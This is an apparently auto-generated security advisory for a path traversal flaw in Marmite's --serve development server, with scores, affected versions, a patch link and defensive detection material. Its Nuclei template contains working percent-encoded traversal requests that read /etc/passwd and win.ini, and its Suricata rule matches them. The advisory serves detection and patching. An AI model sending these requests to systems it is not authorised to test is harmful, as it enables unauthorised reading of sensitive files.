CVE-2026-102810: rochacbruno marmite vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Marmite through 0.4.2 contains a path traversal vulnerability in the development server started by --serve that allows unauthenticated attackers to read arbitrary files. The handle_request function in src/server.rs fails to reject .. segments after percent-decoding and joining the request path to the output folder, enabling attackers to request encoded traversal sequences to access files readable by the marmite process.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-09-29).

Weakness: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 8 references on Exploit Observer

Live scores

EPSS: 0.004
low predicted chance of attack
VEDAS: 0.986
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei · Suricata

Who is affected

Product	Affected	Not affected
rochacbruno marmite	up to and including 0.4.2	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Vendor guidance:

https://github.com/rochacbruno/marmite/commit/303a0bf2fff4302f4164c0c39932fdffc6683ad4 (mitigation, patch)

How to detect it

Nuclei template (active check)

Marmite - Path Traversal Arbitrary File Read via --serve Development Server
Marmite through 0.4.2 contains a path traversal vulnerability in the development server started by the --serve option. The handle_request function in src/server.rs fails to reject .. segments after percent-decoding and joining the request path to the output folder, allowing an unauthenticated attacker to request percent-encoded traversal sequences to read arbitrary files readable by the marmite process. The file contents are returned verbatim in the response body.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc..., GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwin...); it decides using regex, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-102810.yaml

Show the template (46 lines)

yaml

id: CVE-2026-102810

info:
  name: "Marmite - Path Traversal Arbitrary File Read via --serve Development Server"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Marmite through 0.4.2 contains a path traversal vulnerability in the development server started by the
    --serve option. The handle_request function in src/server.rs fails to reject .. segments after
    percent-decoding and joining the request path to the output folder, allowing an unauthenticated attacker
    to request percent-encoded traversal sequences to read arbitrary files readable by the marmite process.
    The file contents are returned verbatim in the response body.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-102810&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=marmite&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-102810
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 2
  tags: cve,cve2026,marmite,lfi,traversal

http:
  - raw:
      - |
        GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin.ini HTTP/1.1
        Host: {{Hostname}}
    unsafe: true
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(extensions|fonts|mci extensions)\\]"
        condition: or
      - type: status
        status:
          - 200

CVE-2026-102810.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-102810 Marmite - Path Traversal Arbitrary File Read via --serve Development Server Attempt. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-102810 Marmite - Path Traversal Arbitrary File Read via --serve Development Server Attempt"; flow:established,to_server; http.method; content:"GET"; http.uri.raw; content:"%2e%2e%2f"; nocase; fast_pattern; pcre:"/(?:%2e%2e%2f){2,}(?:etc%2fpasswd|windows%2fwin\x2eini)/i"; classtype:web-application-attack; reference:cve,CVE-2026-102810; reference:url,https://www.exploit.observer/?keyword=CVE-2026-102810&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=marmite&match=exact; sid:1053601; rev:1;)

CVE-2026-102810.rules on GitHub

References

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.